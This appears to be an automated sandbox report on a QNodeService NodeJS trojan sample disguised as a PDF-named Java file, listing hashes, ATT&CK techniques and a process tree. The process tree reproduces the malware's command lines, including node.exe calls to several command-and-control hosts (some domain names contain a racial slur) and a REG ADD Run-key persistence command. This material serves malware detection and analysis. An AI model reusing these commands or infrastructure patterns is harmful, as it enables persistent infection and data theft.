qnodeservice | e19994da703630d50798f4346431430f349bbab079b015572c48e867e160bd3b

General

Target

Anführungszeichen 00826__pdf.jar
Size

11KB
MD5

c0f75e92112c654930809ee53974d110
SHA1

c9751343def42d1056cbc73461c613c57dc4cf4a
SHA256

e19994da703630d50798f4346431430f349bbab079b015572c48e867e160bd3b
SHA512

c16d650b0bcda2b50b31832f0154e3efcf9bc79c3f97d7fd54535023320fe80a794f7fcef741b1c7f62e3881c99ec43f92c1dea8dcbaadeefee5a88ef2a50cc2

Score

10^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1520 wrote to memory of 356	1520	java.exe	73
PID 1520 wrote to memory of 356	1520	java.exe	73
PID 356 wrote to memory of 2208	356	node.exe	74
PID 356 wrote to memory of 2208	356	node.exe	74
PID 2208 wrote to memory of 3760	2208	cmd.exe	75
PID 2208 wrote to memory of 3760	2208	cmd.exe	75
PID 356 wrote to memory of 1196	356	node.exe	76
PID 356 wrote to memory of 1196	356	node.exe	76

Loads dropped DLL 4 IoCs

pid	Process
1196	node.exe
1196	node.exe
1196	node.exe
1196	node.exe

Adds Run entry to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-4f9a1ccf = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-4f9a1ccf.cmd\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

QNodeService
is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.
trojan qnodeservice

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	wtfismyip.com
14	wtfismyip.com

Executes dropped EXE 2 IoCs

pid	Process
356	node.exe
1196	node.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1196	node.exe
1196	node.exe

QNodeService NodeJS Trojan 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001bfb9-119.dat	family_qnodeservice

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Anführungszeichen 00826__pdf.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:1520
- C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://coolnigga.linkpc.net --central-base-url https://mynigga.servehttp.com --central-base-url https://coolboy.serveftp.com --central-base-url https://badboy.linkpc.net
  2⤵
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  PID:356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-4f9a1ccf" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-4f9a1ccf.cmd\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2208
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-4f9a1ccf" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-4f9a1ccf.cmd\""
      4⤵
      Adds Run entry to start application
      PID:3760
- - C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
    C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://coolnigga.linkpc.net --central-base-url https://mynigga.servehttp.com --central-base-url https://coolboy.serveftp.com --central-base-url https://badboy.linkpc.net
    3⤵
    - Loads dropped DLL
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Checks processor information in registry
    PID:1196

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/356-118-0x00000211B3400000-0x00000211B3401000-memory.dmp

Filesize
4KB

Download
memory/1196-124-0x000003A861FC0000-0x000003A861FC1000-memory.dmp

Filesize
4KB

Download

Analysis

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